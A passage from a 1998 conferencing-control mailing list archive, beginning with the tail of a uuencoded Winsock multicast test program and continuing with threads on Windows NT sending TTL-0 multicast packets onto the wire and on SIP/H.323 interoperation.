M#0H@("`@("`@("`@("`@("`@+R]E>&ET*"`Q("D[#0H@("`@("`@("`@("!]
M#0H-"@T*("`@("`@("`@("`@+R\-"B`@("`@("`@("`@("\O($)I;F1I;F<@
M=&AE('-O8VME="!T;R!T:&4@861D<F5S<PT*("`@("`@("`@("`@+R\-"@T*
M("`@("`@("`@("`@:68@*&)I;F0H<V]C:RP@*$Q04T]#2T%$1%(I("9S;V-K
M7V%D9'(L#0H@("`@("`@("`@("`@("`@("`@("!S:7IE;V8H<V]C:U]A9&1R
M*2D]/5-/0TM%5%]%4E)/4BD-"B`@("`@("`@("`@('L-"B`@("`@("`@("`@
M("`@("!P<FEN=&8@*")<;D5R<F]R(&EN(&)I;F1I;F<@=&AE('-O8VME="`M
M("5D(BP@5U-!1V5T3&%S=$5R<F]R*"DI.PT*("`@("`@("`@("`@("`@(')E
M='5R;B@Q*3L-"B`@("`@("`@("`@('T-"@T*#0H-"B`@("`@("`@("`@('=H
M:6QE*#$I#0H@("`@("`@("`@("![#0H@("`@("`@("`@("`@("`@+R\@2F]I
M;FEN9R!A(&UU;'1I8V%S="!G<F]U<`T*("`@("`@("`@("`@("`@(&UR97$N
M:6UR7VUU;'1I861D<BYS7V%D9'(@/2!I;F5T7V%D9'(H87)G=ELS72D[#0H@
M("`@("`@("`@("`@("`@;7)E<2YI;7)?:6YT97)F86-E+G-?861D<B`](&EN
M971?861D<BAA<F=V6S)=*3L-"B`@("`@("`@("`@("`@("!I9B`H<V5T<V]C
M:V]P="AS;V-K+`T*("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@($E0
M4%)/5$]?25`L#0H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@25!?
M041$7TU%34)%4E-(25`L#0H@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@*&-H87(@*BD@)FUR97$L#0H@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@<VEZ96]F*'-T<G5C="!I<%]M<F5Q*2D@/3T@+3$I#0H@("`@("`@
M("`@("`@("`@>PT*("`@("`@("`@("`@("`@("`@("!P<FEN=&8H(EQN17)R
M;W(@)60@:6X@:F]I;FEN9R!-=6QT:6-A<W0@1W)O=7`B+"!74T%'971,87-T
M17)R;W(H*2D[#0H@("`@("`@("`@("`@("`@("`@(&5X:70H,2D[#0H@("`@
M("`@("`@("`@("`@?0T*#0H@("`@("`@("`@("`@("`@<')I;G1F*")<;DUU
M;'1I8V%S="!G<F]U<"!J;VEN960N+B!<;B(I.PT*#0H@("`@("`@("`@("`@
M("`@;65M<V5T*"!B=68L("@@8VAA<B`I(#!X,#`L(&1A=&$@*R`Q("D[("`@
M+R\@0VQE87(@=&AE(&)U9F9E<BX-"@T*("`@("`@("`@("`@("`@(&)U9ELP
M73TG7#`G.R`@("`@("`@("\O(%)E9'5N86YT#0H-"B`@("`@("`@("`@("`@
M("!P<FEN=&8@*")<;EQN4$]25#TE9%QT1$%403TE9"(L<&]R="P@9&%T82D[
M#0H-"B`@("`@("`@("`@("`@("!N97=?<V]C:U]A9&1R7VQE;B`]('-I>F5O
M9BAN97=?<V]C:U]A9&1R*3L-"@T*#0H@("`@("`@("`@("`@("`@:68@*"`H
M("@@8GET97,@/2!R96-V9G)O;2@@<V]C:RP@8G5F+"!D871A+"`P+`T*("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@*$Q04T]#
M2T%$1%(I("9N97=?<V]C:U]A9&1R+`T*("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@*&EN="!&05(@*BD@)FYE=U]S;V-K7V%D
M9')?;&5N("D@*2`]/2!)3E9!3$E$7U-/0TM%5"DI#0H@("`@("`@("`@("`@
M("`@>PT*("`@("`@("`@("`@("`@("`@("!P<FEN=&8@*")<;D5R<F]R(&EN
M(')E8V5I=FEN9R!D871A("T@)60B+"!74T%'971,87-T17)R;W(H*2D[#0H@
M("`@("`@("`@("`@("`@("`@(')E='5R;B@Q*3L-"B`@("`@("`@("`@("`@
M("!]#0H-"@T*("`@("`@("`@("`@("`@('!R:6YT9B@B7&Y">71E<R!296-E
M:79E9#H@)60B+"!B>71E<RD[#0H-"B`@("`@("`@("`@("`@("!P<FEN=&8H
M(EQN1&%T82!296-E:79E9#H@7&XB*3L-"@T*("`@("`@("`@("`@("`@('!R
M:6YT9B`H(B5S7&XB+"!B=68I.PT*#0H@("`@("`@("`@("`@("`@<')I;G1F
M("@B7&Y0965R($EN9F]R;6%T:6]N.B(I.PT*("`@("`@("`@("`@("`@('!R
M:6YT9B`H(EQN25`@061D<F5S<SH@)7-<;E!O<G0Z)61<;D%D9')E<W,@1F%M
M:6QY.B5D(BP-"B`@("`@("`@("`@("`@("`@("`@("`@(&EN971?;G1O82`H
M;F5W7W-O8VM?861D<BYS:6Y?861D<BDL#0H@("`@("`@("`@("`@("`@("`@
M("`@("!N97=?<V]C:U]A9&1R+G-I;E]P;W)T+`T*("`@("`@("`@("`@("`@
M("`@("`@("`@;G1O:',H;F5W7W-O8VM?861D<BYS:6Y?9F%M:6QY*2D[#0H-
M"@T*("`@("`@("`@("`@("`@('!R:6YT9B`H(EQN+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TB*3L-
M"@T*("`@("`@("`@("`@("`@("\O($QE879I;F<@=&AE(&UU;'1I8V%S="!G
M<F]U<`T*("`@("`@("`@("`@("`@('!R:6YT9B`H(EQN3&5A=FEN9R!T:&4@
M36-A<W0@1W)O=7`B*3L-"@T*("`@("`@("`@("`@("`@('-E='-O8VMO<'0H
M('-O8VLL($E04%)/5$]?25`L($E07T123U!?345-0D524TA)4"P-"B`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`H8VAA<B`J*2`F;7)E<2P@<VEZ96]F
M*&UR97$I("D[#0H-"B`@("`@("`@("`@("`@("!C;&]S97-O8VME="@@;F5W
M7W-O8VL@*3L-"B`@("`@("`@("`@('T-"@T*("`@("`@("`@("`@8G)E86L[
M#0H-"B`@("`@("`@9&5F875L=#H-"B`@("`@("`@("`@(&5X:70H,2D[#0H@
M("`@?0T*#0H@("`@9G)E92AB=68I.R`@("\O($9R964@0G5F)W,@;65M;W)Y
M#0H-"B`@("!C;&]S97-O8VME="AS;V-K*3L-"@T*("`@(%=304-L96%N=7`H
'*3L-"GT-"@==
`
end

From confctrl-owner  Tue Nov 10 14:02:15 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA06646
	for confctrl-outgoing; Tue, 10 Nov 1998 14:02:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA06641
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 14:02:14 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA20994
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 14:02:13 -0800 (PST)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Tue Nov 10 17:01:48 EST 1998
Received: from bell-labs.com ([135.180.130.166]) by research; Tue Nov 10 17:01:44 EST 1998
Message-ID: <3648B744.2156C114@bell-labs.com>
Date: Tue, 10 Nov 1998 16:59:32 -0500
From: Igor Slepchin <igors@bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: Amritansh Raghav <amritanr@MICROSOFT.com>
CC: "Jonathan D. Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>, confctrl@ISI.EDU
Subject: Re: [Fwd: TTL of zero in WinNT?]
References: <3648A07B.2B73BEE@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Unfortunately, Mr. Raghav's code doesn't work (even after removing #if 0
-#endif around the code that sets TTL). In fact, that code does
precisely what we complained about: it _does_ set the TTL to 0 but then
it happily sends those datagrams onto the network where they are picked
up by tcpdump running on a Linux host. This is what happens when i
specify the real IP address as an outgoing interface. If I bind the
socket to 127.0.0.1 instead (cute hack, right?), the datagrams are _not_
sent to the network (hurray?) Alas, they are not sent anywhere else
either: another app on the same machine listening to the same mcast
group doesn't receive anything.

I don't think this is the way anybody but Microsoft would expect that to
work.

BTW, this is a confirmed bug: see article Q138268 on msdn
(http://support.microsoft.com/support/kb/articles/q138/2/68.asp)

---
Igor Slepchin

Jonathan Rosenberg wrote:
> 
> alas, Microsoft speaks (harshly, in fact)
> 
> try this fix and see if it helps.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 
>   ------------------------------------------------------------------------
> 
> Subject: RE: TTL of zero in WinNT?
> Date: Tue, 10 Nov 1998 11:56:35 -0800
> From: Amritansh Raghav <amritanr@MICROSOFT.com>
> To: "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
>      Colin Perkins
>      <C.Perkins@cs.ucl.ac.uk>
> CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
> 
> > -----Original Message-----
> > From: Jon Crowcroft [mailto:J.Crowcroft@cs.ucl.ac.uk]
> >
> > In message <1198.910698317@cs.ucl.ac.uk>, Colin Perkins typed:
> >
> >  >>--> Jonathan Rosenberg writes:
> >  >>>Has anyone had any experience with sending multicast
> > packets with a TTL
> >  >>>of 0 under WinNT? We are getting the bizarre result that
> > Windows sets
> >  >>>the TTL to zero, but sends the packets anyway.. We kind
> > of need this for
> >  >>>all of these conference bus schemes.
> >
> >  >>I'm seeing the same problem -- WinNT 4.0 with service pack
> > 4 installed.
> >
> > Colin
> >
> > hypothesis - some smart NT soft-person uses loopback in a
> > link level driver to
> > loop multicast packets, instead of havign a general abstraction of
> > loopback drivers, then forgets that by the time they get to the
> > link/mac level they cannot check the TTL, so they see a multicast
> > packet, loop it back, but send it on the wire with TTL=0
> >
> > oops
> 
> and, as usual, you would be wrong.
> 
> anyways - i just tried this and NT defaults to a ttl of 1 if you dont
> setsockopt IP_MULTICAST_TTL, otherwise sets the ttl to the value passed for
> the socket option (and will accept 0).
> 
> i used a small test program (attached, quick cut and paste from someone
> elses test)which sends UDP packets. seems to work as expected on NT4 SP4.
> If you can send me more info as to what exactly the program is doing, i
> would be glad to look at it.
> 
> >
> > j.
> > this wouldn't hapen in a millenium of halloweens with linux:-)
> >
> 
> once it runs a fully multithreaded kernel with fine grain locking on an mp
> alpha...
> 
> < ..some uuencoded stuff removed..>

From confctrl-owner  Tue Nov 10 14:16:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA07317
	for confctrl-outgoing; Tue, 10 Nov 1998 14:16:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA07312
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 14:16:12 -0800 (PST)
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22014
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 14:16:11 -0800 (PST)
Received: by mail4.microsoft.com with Internet Mail Service (5.5.2232.9)
	id <WMK6XJV2>; Tue, 10 Nov 1998 14:15:40 -0800
Message-ID: <ED7E7104F236D11190D800805FFE89950A2D1F29@RED-MSG-49>
From: Amritansh Raghav <amritanr@MICROSOFT.com>
To: "'Igor Slepchin'" <igors@bell-labs.com>
Cc: "Jonathan D. Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "'Jon Crowcroft'"
	 <J.Crowcroft@cs.ucl.ac.uk>,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>, confctrl@ISI.EDU
Subject: RE: [Fwd: TTL of zero in WinNT?]
Date: Tue, 10 Nov 1998 14:15:36 -0800
X-Mailer: Internet Mail Service (5.5.2232.9)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

like I said:
NT will set the TTL to either 1, or the value set via setsockopt - and a
value of 0 is accepted. (the #if 0 was to send with default).

sorry if my tone was harsh - it wasnt directed at the folks who reported the
bug, rather at the random hypotheses being flung around.

> -----Original Message-----
> From: Igor Slepchin [mailto:igors@bell-labs.com]
> Sent: Tuesday, November 10, 1998 2:00 PM
> To: Amritansh Raghav
> Cc: Jonathan D. Rosenberg; 'Jon Crowcroft'; Colin Perkins;
> confctrl@ISI.EDU
> Subject: Re: [Fwd: TTL of zero in WinNT?]
> 
> 
> Unfortunately, Mr. Raghav's code doesn't work (even after 
> removing #if 0
> -#endif around the code that sets TTL). In fact, that code does
> precisely what we complained about: it _does_ set the TTL to 
> 0 but then
> it happily sends those datagrams onto the network where they 
> are picked
> up by tcpdump running on a Linux host. This is what happens when i
> specify the real IP address as an outgoing interface. If I bind the
> socket to 127.0.0.1 instead (cute hack, right?), the 
> datagrams are _not_
> sent to the network (hurray?) Alas, they are not sent anywhere else
> either: another app on the same machine listening to the same mcast
> group doesn't receive anything.
> 
> I don't think this is the way anybody but Microsoft would 
> expect that to
> work.
> 
> BTW, this is a confirmed bug: see article Q138268 on msdn
> (http://support.microsoft.com/support/kb/articles/q138/2/68.asp)
> 
> ---
> Igor Slepchin
> 
> Jonathan Rosenberg wrote:
> > 
> > alas, Microsoft speaks (harshly, in fact)
> > 
> > try this fix and see if it helps.
> > --
> > Jonathan D. Rosenberg                       Lucent Technologies
> > Member of Technical Staff                   101 Crawfords Corner Rd.
> > High Speed Networks Research                Holmdel, NJ 07733
> > FAX:   (732) 834-5379                       Rm. 4C-526
> > EMAIL: jdrosen@bell-labs.com
> > URL: http://www.cs.columbia.edu/~jdrosen
> > 
> >   
> --------------------------------------------------------------
> ----------
> > 
> > Subject: RE: TTL of zero in WinNT?
> > Date: Tue, 10 Nov 1998 11:56:35 -0800
> > From: Amritansh Raghav <amritanr@MICROSOFT.com>
> > To: "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
> >      Colin Perkins
> >      <C.Perkins@cs.ucl.ac.uk>
> > CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, 
> confctrl@ISI.EDU
> > 
> > > -----Original Message-----
> > > From: Jon Crowcroft [mailto:J.Crowcroft@cs.ucl.ac.uk]
> > >
> > > In message <1198.910698317@cs.ucl.ac.uk>, Colin Perkins typed:
> > >
> > >  >>--> Jonathan Rosenberg writes:
> > >  >>>Has anyone had any experience with sending multicast
> > > packets with a TTL
> > >  >>>of 0 under WinNT? We are getting the bizarre result that
> > > Windows sets
> > >  >>>the TTL to zero, but sends the packets anyway.. We kind
> > > of need this for
> > >  >>>all of these conference bus schemes.
> > >
> > >  >>I'm seeing the same problem -- WinNT 4.0 with service pack
> > > 4 installed.
> > >
> > > Colin
> > >
> > > hypothesis - some smart NT soft-person uses loopback in a
> > > link level driver to
> > > loop multicast packets, instead of havign a general abstraction of
> > > loopback drivers, then forgets that by the time they get to the
> > > link/mac level they cannot check the TTL, so they see a multicast
> > > packet, loop it back, but send it on the wire with TTL=0
> > >
> > > oops
> > 
> > and, as usual, you would be wrong.
> > 
> > anyways - i just tried this and NT defaults to a ttl of 1 
> if you dont
> > setsockopt IP_MULTICAST_TTL, otherwise sets the ttl to the 
> value passed for
> > the socket option (and will accept 0).
> > 
> > i used a small test program (attached, quick cut and paste 
> from someone
> > elses test)which sends UDP packets. seems to work as 
> expected on NT4 SP4.
> > If you can send me more info as to what exactly the program 
> is doing, i
> > would be glad to look at it.
> > 
> > >
> > > j.
> > > this wouldn't hapen in a millenium of halloweens with linux:-)
> > >
> > 
> > once it runs a fully multithreaded kernel with fine grain 
> locking on an mp
> > alpha...
> > 
> > < ..some uuencoded stuff removed..>
> 

From confctrl-owner  Tue Nov 10 14:29:55 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA08079
	for confctrl-outgoing; Tue, 10 Nov 1998 14:29:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA08074
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 14:29:54 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA23174
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 14:29:51 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA15038; Tue, 10 Nov 1998 17:29:27 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Amritansh Raghav <amritanr@MICROSOFT.com>
cc: "'Igor Slepchin'" <igors@bell-labs.com>,
        "Jonathan D. Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>, confctrl@ISI.EDU
Subject: Re: [Fwd: TTL of zero in WinNT?] 
In-reply-to: Your message of "Tue, 10 Nov 1998 14:15:36 PST."
             <ED7E7104F236D11190D800805FFE89950A2D1F29@RED-MSG-49> 
Date: Tue, 10 Nov 1998 17:29:27 -0500
Message-ID: <15036.910736967@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>like I said:
>NT will set the TTL to either 1, or the value set via setsockopt - and a
>value of 0 is accepted. (the #if 0 was to send with default).

It may _accept_ a value of zero via the setsockopt, but what happens
to packets sent on that socket then?  The correct behaviour is for
them to be received by other applications listening on that host, but
_not_ to be forwarded from any of the physical interfaces.

For what Colin, Igon and Jonathan are saying, this is not what happens
on NT4, but instead they are forwarded from the bound interface.

Mark

From confctrl-owner  Tue Nov 10 14:52:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA09586
	for confctrl-outgoing; Tue, 10 Nov 1998 14:52:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA09573
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 14:52:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA25115
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 14:52:03 -0800 (PST)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Tue Nov 10 17:50:10 EST 1998
Received: from dnrc.bell-labs.com ([135.180.130.146]) by research; Tue Nov 10 17:50:03 EST 1998
Message-ID: <3648C31E.75B4FA40@dnrc.bell-labs.com>
Date: Tue, 10 Nov 1998 17:50:06 -0500
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: High Speed Networks Research, Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: Amritansh Raghav <amritanr@MICROSOFT.com>
CC: "'Igor Slepchin'" <igors@bell-labs.com>,
        "Jonathan D. Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>, confctrl@ISI.EDU
Subject: Re: [Fwd: TTL of zero in WinNT?]
References: <ED7E7104F236D11190D800805FFE89950A2D1F29@RED-MSG-49>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The point of this discussion was that NT doesn't handle datagrams with
TTL of 0 correctly, not that it refuses to set ttl. No packets with
ttl=0 should ever appear on the network; in case of multicast, such
packets should only be forwarded to the apps listening to the mcast
group on the same host.

---
Igor Slepchin


Amritansh Raghav wrote:
> 
> like I said:
> NT will set the TTL to either 1, or the value set via setsockopt - and a
> value of 0 is accepted. (the #if 0 was to send with default).
> 
> sorry if my tone was harsh - it wasnt directed at the folks who reported the
> bug, rather at the random hypotheses being flung around.
> 
> > -----Original Message-----
> > From: Igor Slepchin [mailto:igors@bell-labs.com]
> > Sent: Tuesday, November 10, 1998 2:00 PM
> > To: Amritansh Raghav
> > Cc: Jonathan D. Rosenberg; 'Jon Crowcroft'; Colin Perkins;
> > confctrl@ISI.EDU
> > Subject: Re: [Fwd: TTL of zero in WinNT?]
> >
> >
> > Unfortunately, Mr. Raghav's code doesn't work (even after
> > removing #if 0
> > -#endif around the code that sets TTL). In fact, that code does
> > precisely what we complained about: it _does_ set the TTL to
> > 0 but then
> > it happily sends those datagrams onto the network where they
> > are picked
> > up by tcpdump running on a Linux host. This is what happens when i
> > specify the real IP address as an outgoing interface. If I bind the
> > socket to 127.0.0.1 instead (cute hack, right?), the
> > datagrams are _not_
> > sent to the network (hurray?) Alas, they are not sent anywhere else
> > either: another app on the same machine listening to the same mcast
> > group doesn't receive anything.
> >
> > I don't think this is the way anybody but Microsoft would
> > expect that to
> > work.
> >
> > BTW, this is a confirmed bug: see article Q138268 on msdn
> > (http://support.microsoft.com/support/kb/articles/q138/2/68.asp)
> >
> > ---
> > Igor Slepchin
> >
> > Jonathan Rosenberg wrote:
> > >
> > > alas, Microsoft speaks (harshly, in fact)
> > >
> > > try this fix and see if it helps.
> > > --
> > > Jonathan D. Rosenberg                       Lucent Technologies
> > > Member of Technical Staff                   101 Crawfords Corner Rd.
> > > High Speed Networks Research                Holmdel, NJ 07733
> > > FAX:   (732) 834-5379                       Rm. 4C-526
> > > EMAIL: jdrosen@bell-labs.com
> > > URL: http://www.cs.columbia.edu/~jdrosen
> > >
> > >
> > --------------------------------------------------------------
> > ----------
> > >
> > > Subject: RE: TTL of zero in WinNT?
> > > Date: Tue, 10 Nov 1998 11:56:35 -0800
> > > From: Amritansh Raghav <amritanr@MICROSOFT.com>
> > > To: "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
> > >      Colin Perkins
> > >      <C.Perkins@cs.ucl.ac.uk>
> > > CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
> > confctrl@ISI.EDU
> > >
> > > > -----Original Message-----
> > > > From: Jon Crowcroft [mailto:J.Crowcroft@cs.ucl.ac.uk]
> > > >
> > > > In message <1198.910698317@cs.ucl.ac.uk>, Colin Perkins typed:
> > > >
> > > >  >>--> Jonathan Rosenberg writes:
> > > >  >>>Has anyone had any experience with sending multicast
> > > > packets with a TTL
> > > >  >>>of 0 under WinNT? We are getting the bizarre result that
> > > > Windows sets
> > > >  >>>the TTL to zero, but sends the packets anyway.. We kind
> > > > of need this for
> > > >  >>>all of these conference bus schemes.
> > > >
> > > >  >>I'm seeing the same problem -- WinNT 4.0 with service pack
> > > > 4 installed.
> > > >
> > > > Colin
> > > >
> > > > hypothesis - some smart NT soft-person uses loopback in a
> > > > link level driver to
> > > > loop multicast packets, instead of havign a general abstraction of
> > > > loopback drivers, then forgets that by the time they get to the
> > > > link/mac level they cannot check the TTL, so they see a multicast
> > > > packet, loop it back, but send it on the wire with TTL=0
> > > >
> > > > oops
> > >
> > > and, as usual, you would be wrong.
> > >
> > > anyways - i just tried this and NT defaults to a ttl of 1
> > if you dont
> > > setsockopt IP_MULTICAST_TTL, otherwise sets the ttl to the
> > value passed for
> > > the socket option (and will accept 0).
> > >
> > > i used a small test program (attached, quick cut and paste
> > from someone
> > > elses test)which sends UDP packets. seems to work as
> > expected on NT4 SP4.
> > > If you can send me more info as to what exactly the program
> > is doing, i
> > > would be glad to look at it.
> > >
> > > >
> > > > j.
> > > > this wouldn't hapen in a millenium of halloweens with linux:-)
> > > >
> > >
> > > once it runs a fully multithreaded kernel with fine grain
> > locking on an mp
> > > alpha...
> > >
> > > < ..some uuencoded stuff removed..>
> >

From confctrl-owner  Tue Nov 10 17:52:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA19708
	for confctrl-outgoing; Tue, 10 Nov 1998 17:52:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA19699
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 17:52:46 -0800 (PST)
Received: from www.obsoft.com (root@www.obsoft.com [208.221.218.250])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA10820
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 17:52:44 -0800 (PST)
Received: from obsoft.com (sardana@localhost [127.0.0.1]) by www.obsoft.com (8.6.12/8.6.9) with ESMTP id TAA11237; Tue, 10 Nov 1998 19:47:45 -0600
Message-ID: <3648ECC0.2E01F6F4@obsoft.com>
Date: Tue, 10 Nov 1998 19:47:44 -0600
From: Bobby Sardana <sardana@obsoft.com>
Organization: ObjectSoftware, Inc.
X-Mailer: Mozilla 4.04 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: Henry Sinnreich <henry.sinnreich@mci.com>
CC: Alok Mittal <amittal@hss.hns.com>, confctrl@ISI.EDU
Subject: Re: What is the view towards H.323?
References: <000201be0c08$1994b3c0$f0e323a6@sinnreich2.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings:

Henry Sinnreich wrote:

> > 3. SIP and H.323 interoperate -- Session Initiation in SIP and
> > then H.323 takes over
>
> Definitely yes, know of several implementations.

Henry, would it be possible for you to share with this forum the list of these
so called
*several implementations*. Are these just simulated prototypes or working
models? I would definitely be interested in these implementations.

Bobby Sardana.
sardana@obsoft.com



From confctrl-owner  Tue Nov 10 19:33:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA24045
	for confctrl-outgoing; Tue, 10 Nov 1998 19:33:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA24040
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 19:33:22 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA15002
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 19:33:21 -0800 (PST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id WAA06485;
	Tue, 10 Nov 1998 22:32:55 -0500 (EST)
Message-ID: <36490566.C46EE1A7@cs.columbia.edu>
Date: Tue, 10 Nov 1998 22:32:54 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Bobby Sardana <sardana@obsoft.com>
CC: Alok Mittal <amittal@hss.hns.com>, confctrl@ISI.EDU
Subject: Re: What is the view towards H.323?
References: <000201be0c08$1994b3c0$f0e323a6@sinnreich2.mcit.com> <3648ECC0.2E01F6F4@obsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bobby Sardana wrote:
> 
> Greetings:
> 
> Henry Sinnreich wrote:
> 
> > > 3. SIP and H.323 interoperate -- Session Initiation in SIP and
> > > then H.323 takes over
> >
> > Definitely yes, know of several implementations.
> 
> Henry, would it be possible for you to share with this forum the list of these
> so called
> *several implementations*. Are these just simulated prototypes or working
> models? I would definitely be interested in these implementations.

http://www.cs.columbia.edu/~hgs/sip has a list of implementations in
various stages of completion/working. If you have others you'd like me
to add, please do.

> 
> Bobby Sardana.
> sardana@obsoft.com

From confctrl-owner  Tue Nov 10 20:48:20 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA26952
	for confctrl-outgoing; Tue, 10 Nov 1998 20:48:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA26947
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 20:48:19 -0800 (PST)
Received: from www.obsoft.com (root@www.obsoft.com [208.221.218.250])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA16981
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 20:48:17 -0800 (PST)
Received: from obsoft.com (sardana@localhost [127.0.0.1]) by www.obsoft.com (8.6.12/8.6.9) with ESMTP id WAA11913; Tue, 10 Nov 1998 22:43:28 -0600
Message-ID: <364915EF.FC5B6CFB@obsoft.com>
Date: Tue, 10 Nov 1998 22:43:28 -0600
From: Bobby Sardana <sardana@obsoft.com>
